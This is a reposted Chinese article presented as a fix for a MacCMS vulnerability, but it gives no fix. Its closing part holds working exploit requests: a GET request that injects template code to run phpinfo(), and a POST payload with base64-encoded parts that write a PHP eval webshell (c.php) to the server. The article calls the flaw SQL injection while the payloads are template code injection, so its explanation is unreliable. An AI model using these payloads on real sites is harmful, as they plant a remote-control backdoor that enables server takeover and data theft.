苹果cms网站漏洞修复处理办法
发布时间：2022-08-24 15:01:46 所属栏目：经验 来源：互联网
导读：苹果cms系统，是目前很多电影网站都在使用的一套网站系统，开源，免费，扩展性较好，支持一键采集，伪静态化，高并发的同时承载，获得的很多站长的喜欢，于近日被网站安全检测发现，maccms存在网站漏洞，sql注入盲射获取数据库的管理员账号密码，关于该漏洞
|
苹果cms系统，是目前很多电影网站都在使用的一套网站系统，开源，免费，扩展性较好，支持一键采集，伪静态化，高并发的同时承载，获得的很多站长的喜欢，于近日被网站安全检测发现，maccms存在网站漏洞，sql注入盲射获取数据库的管理员账号密码，关于该漏洞的详情，我们仔细分析看下. maccms漏洞分析与修复 苹果CMS采用的是php语言开发的代码，使用的数据库是mysql类型，这种架构是比较常用的，也是比较稳定的，但是在安全方面出现的问题是比较多的，这次发现的是sql注入漏洞，在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示： 苹果cms网站漏洞修复解决办法 我们来看下如何利用苹果CMS的漏洞，从上面漏洞发生的细节里可以看出，是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b，以及空格对代码进行注入，sql语句在拼接中，可以插入反斜杠进行单引号的报错，从而绕过苹果CMS的安全拦截。语句如下： GET请求： http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A} 可以直接看php的具体信息 POST请求 可以直接获取webshell http://127.0.0.1/index.PHP?m=vod-search POST内容如下： wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}  （编辑：应用网_丽江站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
浙公网安备 33038102330468号